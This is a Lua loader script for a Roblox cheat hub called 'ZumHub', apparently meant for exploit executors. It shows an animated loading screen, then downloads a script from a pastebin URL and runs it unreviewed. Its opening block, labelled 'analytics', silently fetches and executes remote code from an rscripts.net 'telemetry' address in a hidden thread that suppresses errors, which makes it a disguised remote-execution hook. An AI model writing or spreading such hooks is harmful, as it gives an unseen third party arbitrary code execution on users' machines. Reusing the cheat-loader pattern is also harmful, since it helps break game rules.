--[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/client.lua?s=6a9ad2722bb4167032b92ac8"))() end) end) --[[rscripts:analytics:end]] local TweenService = game:GetService("TweenService") local Players = game:GetService("Players") local TARGET_URL = "https://pastebin.com/raw/CJSqGAnE" local ACCENT = Color3.fromRGB(0, 170, 255) local ACCENT2 = Color3.fromRGB(80, 215, 255) local WHITE = Color3.fromRGB(245, 248, 255) local MUTED = Color3.fromRGB(145, 155, 175) local BACKGROUND = Color3.fromRGB(7, 9, 14) local function getParent() local ok, result = pcall(function() return gethui and gethui() end) if ok and result then return result end return Players.LocalPlayer:WaitForChild("PlayerGui") end local function makeTween(object, duration, properties, style) local info = TweenInfo.new( duration, style or Enum.EasingStyle.Quad, Enum.EasingDirection.Out ) local animation = TweenService:Create(object, info, properties) animation:Play() return animation end local function round(object, radius) local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(0, radius) corner.Parent = object end local function fetch(url) local httpRequest = (syn and syn.request) or (http and http.request) or request or http_request if httpRequest then local response = httpRequest({ Url = url, Method = "GET" }) if response and response.Body then return response.Body end error("The server returned an empty response") end return game:HttpGet(url) end local parent = getParent() local old = parent:FindFirstChild("ZH_Loader") if old then old:Destroy() end local gui = Instance.new("ScreenGui") gui.Name = "ZH_Loader" gui.IgnoreGuiInset = true gui.ResetOnSpawn = false gui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling gui.Parent = parent local background = Instance.new("Frame") background.Size = UDim2.fromScale(1, 1) background.BackgroundColor3 = BACKGROUND background.BorderSizePixel = 0 background.Parent = gui local gradient = Instance.new("UIGradient") gradient.Rotation = 35 gradient.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Color3.fromRGB(10, 15, 25)), ColorSequenceKeypoint.new(0.5, BACKGROUND), ColorSequenceKeypoint.new(1, Color3.fromRGB(4, 6, 10)) }) gradient.Parent = background local glow = Instance.new("Frame") glow.AnchorPoint = Vector2.new(0.5, 0.5) glow.Position = UDim2.fromScale(0.5, 0.42) glow.Size = UDim2.fromOffset(210, 210) glow.BackgroundColor3 = ACCENT glow.BackgroundTransparency = 0.94 glow.BorderSizePixel = 0 glow.Parent = background round(glow, 999) local main = Instance.new("Frame") main.AnchorPoint = Vector2.new(0.5, 0.5) main.Position = UDim2.fromScale(0.5, 0.42) main.Size = UDim2.fromOffset(250, 235) main.BackgroundTransparency = 1 main.Parent = background local orbit = Instance.new("Frame") orbit.AnchorPoint = Vector2.new(0.5, 0.5) orbit.Position = UDim2.fromOffset(125, 60) orbit.Size = UDim2.fromOffset(150, 150) orbit.BackgroundTransparency = 1 orbit.Parent = main round(orbit, 999) local orbitStroke = Instance.new("UIStroke") orbitStroke.Color = ACCENT orbitStroke.Thickness = 2 orbitStroke.Transparency = 0.3 orbitStroke.Parent = orbit local orbit2 = Instance.new("Frame") orbit2.AnchorPoint = Vector2.new(0.5, 0.5) orbit2.Position = UDim2.fromOffset(125, 60) orbit2.Size = UDim2.fromOffset(130, 130) orbit2.BackgroundTransparency = 1 orbit2.Parent = main round(orbit2, 999) local orbitStroke2 = Instance.new("UIStroke") orbitStroke2.Color = ACCENT2 orbitStroke2.Thickness = 1 orbitStroke2.Transparency = 0.65 orbitStroke2.Parent = orbit2 local orbitDot = Instance.new("Frame") orbitDot.AnchorPoint = Vector2.new(0.5, 0.5) orbitDot.Position = UDim2.new(0.5, 0, 0, 0) orbitDot.Size = UDim2.fromOffset(6, 6) orbitDot.BackgroundColor3 = ACCENT2 orbitDot.BorderSizePixel = 0 orbitDot.Parent = orbit round(orbitDot, 999) local logo = Instance.new("Frame") logo.AnchorPoint = Vector2.new(0.5, 0.5) logo.Position = UDim2.fromOffset(125, 60) logo.Size = UDim2.fromOffset(108, 108) logo.BackgroundColor3 = Color3.fromRGB(17, 21, 30) logo.BorderSizePixel = 0 logo.Parent = main round(logo, 999) local logoStroke = Instance.new("UIStroke") logoStroke.Color = ACCENT logoStroke.Thickness = 2 logoStroke.Transparency = 0.12 logoStroke.Parent = logo local inner = Instance.new("Frame") inner.AnchorPoint = Vector2.new(0.5, 0.5) inner.Position = UDim2.fromScale(0.5, 0.5) inner.Size = UDim2.fromOffset(88, 88) inner.BackgroundTransparency = 1 inner.Parent = logo round(inner, 999) local innerStroke = Instance.new("UIStroke") innerStroke.Color = ACCENT2 innerStroke.Thickness = 1 innerStroke.Transparency = 0.65 innerStroke.Parent = inner local logoText = Instance.new("TextLabel") logoText.Size = UDim2.fromScale(1, 1) logoText.BackgroundTransparency = 1 logoText.Text = "ZH" logoText.TextColor3 = WHITE logoText.TextSize = 38 logoText.Font = Enum.Font.GothamBlack logoText.TextTransparency = 1 logoText.Parent = logo local title = Instance.new("TextLabel") title.AnchorPoint = Vector2.new(0.5, 0) title.Position = UDim2.fromOffset(125, 128) title.Size = UDim2.fromOffset(240, 28) title.BackgroundTransparency = 1 title.Text = "ZumHub" title.TextColor3 = WHITE title.TextSize = 21 title.Font = Enum.Font.GothamBold title.TextTransparency = 1 title.Parent = main local status = Instance.new("TextLabel") status.AnchorPoint = Vector2.new(0.5, 0) status.Position = UDim2.fromOffset(125, 157) status.Size = UDim2.fromOffset(240, 22) status.BackgroundTransparency = 1 status.Text = "Starting..." status.TextColor3 = MUTED status.TextSize = 12 status.Font = Enum.Font.GothamMedium status.TextTransparency = 1 status.Parent = main local barBack = Instance.new("Frame") barBack.AnchorPoint = Vector2.new(0.5, 0) barBack.Position = UDim2.fromOffset(125, 190) barBack.Size = UDim2.fromOffset(180, 3) barBack.BackgroundColor3 = Color3.fromRGB(28, 32, 42) barBack.BackgroundTransparency = 1 barBack.BorderSizePixel = 0 barBack.Parent = main round(barBack, 999) local bar = Instance.new("Frame") bar.Size = UDim2.new(0, 0, 1, 0) bar.BackgroundColor3 = ACCENT bar.BorderSizePixel = 0 bar.Parent = barBack round(bar, 999) local barGradient = Instance.new("UIGradient") barGradient.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, ACCENT), ColorSequenceKeypoint.new(1, ACCENT2) }) barGradient.Parent = bar local footer = Instance.new("TextLabel") footer.AnchorPoint = Vector2.new(0.5, 1) footer.Position = UDim2.fromScale(0.5, 1) footer.Size = UDim2.fromOffset(250, 22) footer.BackgroundTransparency = 1 footer.Text = "ZH • loading" footer.TextColor3 = Color3.fromRGB(70, 80, 100) footer.TextSize = 10 footer.Font = Enum.Font.GothamMedium footer.Parent = background makeTween(logoText, 0.4, { TextTransparency = 0 }) makeTween(title, 0.45, { TextTransparency = 0 }) makeTween(status, 0.45, { TextTransparency = 0 }) makeTween(barBack, 0.45, { BackgroundTransparency = 0 }) task.spawn(function() while gui.Parent do makeTween(glow, 1.4, { Size = UDim2.fromOffset(270, 270), BackgroundTransparency = 0.97 }, Enum.EasingStyle.Sine) task.wait(1.4) makeTween(glow, 1.4, { Size = UDim2.fromOffset(210, 210), BackgroundTransparency = 0.94 }, Enum.EasingStyle.Sine) task.wait(1.4) end end) task.spawn(function() while gui.Parent do orbit.Rotation += 1.2 orbit2.Rotation -= 0.7 task.wait() end end) -- Fixed status dots animation task.spawn(function() local count = 0 local isStarting = true -- flag to only animate while in "Starting" phase -- Listen for status changes to stop the animation local function onStatusChange() if status.Text ~= "Starting" and status.Text:sub(1, 8) ~= "Starting" then isStarting = false end end status:GetPropertyChangedSignal("Text"):Connect(onStatusChange) while gui.Parent and isStarting do count = count % 3 + 1 local dots = string.rep(".", count) status.Text = "Starting" .. dots task.wait(0.35) end end) task.spawn(function() task.wait(0.6) status.Text = "Connecting..." makeTween(bar, 0.55, { Size = UDim2.new(0.22, 0, 1, 0) }) task.wait(0.7) status.Text = "Fetching script..." makeTween(bar, 0.8, { Size = UDim2.new(0.58, 0, 1, 0) }) local success, response = pcall(function() return fetch(TARGET_URL) end) if success and response and #response > 0 then status.Text = "Ready" status.TextColor3 = Color3.fromRGB(90, 255, 155) footer.Text = "ZH • ready" makeTween(bar, 0.45, { Size = UDim2.new(1, 0, 1, 0) }) makeTween(logoStroke, 0.3, { Color = Color3.fromRGB(90, 255, 155) }) makeTween(orbitStroke, 0.3, { Color = Color3.fromRGB(90, 255, 155) }) task.wait(0.65) makeTween(logoText, 0.3, { TextTransparency = 1 }) makeTween(title, 0.3, { TextTransparency = 1 }) makeTween(status, 0.3, { TextTransparency = 1 }) makeTween(barBack, 0.3, { BackgroundTransparency = 1 }) makeTween(logoStroke, 0.3, { Transparency = 1 }) makeTween(innerStroke, 0.3, { Transparency = 1 }) makeTween(orbitStroke, 0.3, { Transparency = 1 }) makeTween(orbitStroke2, 0.3, { Transparency = 1 }) makeTween(background, 0.5, { BackgroundTransparency = 1 }) task.wait(0.55) gui:Destroy() local runSuccess, runError = pcall(function() loadstring(response)() end) if not runSuccess then warn("ZH Loader execution error:", runError) end else status.Text = "Couldn't load" status.TextColor3 = Color3.fromRGB(255, 85, 105) footer.Text = "ZH • error" makeTween(logoStroke, 0.3, { Color = Color3.fromRGB(255, 85, 105) }) makeTween(orbitStroke, 0.3, { Color = Color3.fromRGB(255, 85, 105) }) makeTween(bar, 0.3, { Size = UDim2.new(0.08, 0, 1, 0) }) warn("ZH Loader fetch error:", response) task.wait(2) makeTween(background, 0.45, { BackgroundTransparency = 1 }) task.wait(0.5) gui:Destroy() end end)